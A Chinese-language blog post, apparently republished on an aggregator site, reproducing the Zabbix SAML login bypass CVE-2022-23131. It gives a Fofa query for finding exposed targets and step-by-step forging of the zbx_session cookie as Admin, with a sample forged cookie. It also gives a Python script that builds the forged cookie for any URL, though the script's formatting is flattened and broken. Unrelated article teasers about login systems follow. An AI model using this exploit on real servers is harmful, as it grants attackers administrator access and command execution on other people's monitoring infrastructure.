Zabbix登录绕过漏洞复现(CVE-2022-23131)

2023-11-09 02:59

本文主要是介绍Zabbix登录绕过漏洞复现(CVE-2022-23131),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

Zabbix登录绕过漏洞复现(CVE-2022-23131)

漏洞描述

安全断言标记语言 (SAML) 是最常见的单点登录 (SSO) 标准之一。围绕 XML 实现,它允许身份提供者(IdP,一个能够对用户进行身份验证的实体)告诉服务提供者(SP,这里是 Zabbix)你是谁。您可以将Zabbix Web 前端配置为允许通过 SAML 进行用户身份验证,但默认情况下不启用它,因为它需要了解身份提供者的详细信息。这是企业部署最常见的设置。

在启用 SAML SSO 身份验证的实例上,它允许绕过身份验证并获得管理员权限。攻击者可以使用此访问权限在链接的Zabbix Server和Zabbix Agent实例上执行任意命令。

影响版本

Zabbix Web 前端版本包括

  • 5.4.8
  • 5.0.18
  • 4.0.36
  • 6.0.0alpha1

漏洞复现

Fofa 语法 app="ZABBIX-监控系统" && body="saml"
在这里插入图片描述
点击 Sign in 下面的 Sign in with Single Sign-On (SAML)

使用 Burp 抓包
在这里插入图片描述
复制 zbx_session 的值,使用 base64 解密一下
在这里插入图片描述
解密出来的数据和 {"saml_data":{"username_attribute":"Admin"} 结合一下

{"saml_data":{"username_attribute":"Admin"},"sessionid":"34deaa6a30e4208c183b335881a90a31","sign":"1YVxmgvUSc88AlgUPD3lsAmd1hAZoy+rRxNktEwqjxxT0NywAeDBjARJugpYGuVqPU8CfGtwkNgknfUstaK5\/Q=="}

然后使用 base64 加密一下

eyJzYW1sX2RhdGEiOnsidXNlcm5hbWVfYXR0cmlidXRlIjoiQWRtaW4ifSwic2Vzc2lvbmlkIjoiMzRkZWFhNmEzMGU0MjA4YzE4M2IzMzU4ODFhOTBhMzEiLCJzaWduIjoiMVlWeG1ndlVTYzg4QWxnVVBEM2xzQW1kMWhBWm95K3JSeE5rdEV3cWp4eFQwTnl3QWVEQmpBUkp1Z3BZR3VWcVBVOENmR3R3a05na25mVXN0YUs1XC9RPT0ifQ==

然后替换 zbx_session 的值

在这里插入图片描述

Python 脚本

Python 脚本代码

# codingimport sys
import requests
import re,base64,urllib.parse,json
# 禁用警告
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)def runPoc(url):response = requests.get(url,verify=False)cookie = response.headers.get("Set-Cookie")sessionReg = re.compile("zbx_session=(.*?);")try:session = re.findall(sessionReg,cookie)[0]base64_decode = base64.b64decode(urllib.parse.unquote(session,encoding="utf-8"))session_json = json.loads(base64_decode)payload = '{"saml_data":{"username_attribute":"Admin"},"sessionid":"%s","sign":"%s"}'%(session_json["sessionid"],session_json["sign"])print("未加密Payload:" + payload)print('\n')payload_encode = urllib.parse.quote(base64.b64encode(payload.encode()))print("加密后Payload:" + payload_encode)except IndexError:print("[-] 不存在漏洞")if __name__ == '__main__':try:url = sys.argv[1]runPoc(url)except IndexError:print("""Use: python CVE-2022-23131.py http://xxxxxxxxx.comBy:MrHatSec""")

python3 CVE-2022-23131.py url
在这里插入图片描述
将生成的加密后的 Payload 替换到当前目标的 Cookie中,即可直接进入管理界面
在这里插入图片描述

这篇关于Zabbix登录绕过漏洞复现(CVE-2022-23131)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/373702

相关文章

Spring Boot基于 JWT 优化 Spring Security 无状态登录实战指南

《SpringBoot基于JWT优化SpringSecurity无状态登录实战指南》本文介绍如何使用JWT优化SpringSecurity实现无状态登录,提高接口安全性,并通过实际操作步骤... 目录Spring Boot 实战:基于 JWT 优化 Spring Security 无状态登录一、先搞懂:为什

在DataGrip中操作MySQL完整流程步骤(从登录到数据查询)

《在DataGrip中操作MySQL完整流程步骤(从登录到数据查询)》DataGrip是JetBrains公司出品的一款现代化数据库管理工具,支持多种数据库系统,包括MySQL,:本文主要介绍在D... 目录前言一、登录 mysql 服务器1.1 打开 DataGrip 并添加数据源1.2 配置 MySQL

Springboot中JWT登录校验及其拦截器实现方法

《Springboot中JWT登录校验及其拦截器实现方法》:本文主要介绍Springboot中JWT登录校验及其拦截器实现方法的相关资料,包括引入Maven坐标、获取Token、JWT拦截器的实现... 目录前言一、JWT是什么?二、实现步骤1.引入Maven坐标2.获取Token3.JWT拦截器的实现4.

90%的人第一步就错了! 顺利登录wifi路由器后台的技巧

《90%的人第一步就错了!顺利登录wifi路由器后台的技巧》登录Wi-Fi路由器,其实就是进入它的后台管理页面,很多朋友不知道该怎么进入路由器后台设置,感兴趣的朋友可以花3分钟了解一下... 你是不是也遇到过这种情况:家里网速突然变慢、想改WiFi密码却不知道从哪进路由器、新装宽带后完全不知道怎么设置?别慌

JWT + 拦截器实现无状态登录系统

《JWT+拦截器实现无状态登录系统》JWT(JSONWebToken)提供了一种无状态的解决方案:用户登录后,服务器返回一个Token,后续请求携带该Token即可完成身份验证,无需服务器存储会话... 目录✅ 引言 一、JWT 是什么? 二、技术选型 三、项目结构 四、核心代码实现4.1 添加依赖(pom

修复已被利用的高危漏洞! macOS Sequoia 15.6.1发布

《修复已被利用的高危漏洞!macOSSequoia15.6.1发布》苹果公司于今日发布了macOSSequoia15.6.1更新,这是去年9月推出的macOSSequoia操作... MACOS Sequoia 15.6.1 正式发布!此次更新修复了一个已被黑客利用的严重安全漏洞,并解决了部分中文用户反馈的

Spring Security重写AuthenticationManager实现账号密码登录或者手机号码登录

《SpringSecurity重写AuthenticationManager实现账号密码登录或者手机号码登录》本文主要介绍了SpringSecurity重写AuthenticationManage... 目录一、创建自定义认证提供者CustomAuthenticationProvider二、创建认证业务Us

Springboot项目登录校验功能实现

《Springboot项目登录校验功能实现》本文介绍了Web登录校验的重要性,对比了Cookie、Session和JWT三种会话技术,分析其优缺点,并讲解了过滤器与拦截器的统一拦截方案,推荐使用JWT... 目录引言一、登录校验的基本概念二、HTTP协议的无状态性三、会话跟android踪技术1. Cook

使用Redis快速实现共享Session登录的详细步骤

《使用Redis快速实现共享Session登录的详细步骤》在Web开发中,Session通常用于存储用户的会话信息,允许用户在多个页面之间保持登录状态,Redis是一个开源的高性能键值数据库,广泛用于... 目录前言实现原理:步骤:使用Redis实现共享Session登录1. 引入Redis依赖2. 配置R

Spring Security 单点登录与自动登录机制的实现原理

《SpringSecurity单点登录与自动登录机制的实现原理》本文探讨SpringSecurity实现单点登录(SSO)与自动登录机制,涵盖JWT跨系统认证、RememberMe持久化Token... 目录一、核心概念解析1.1 单点登录(SSO)1.2 自动登录(Remember Me)二、代码分析三、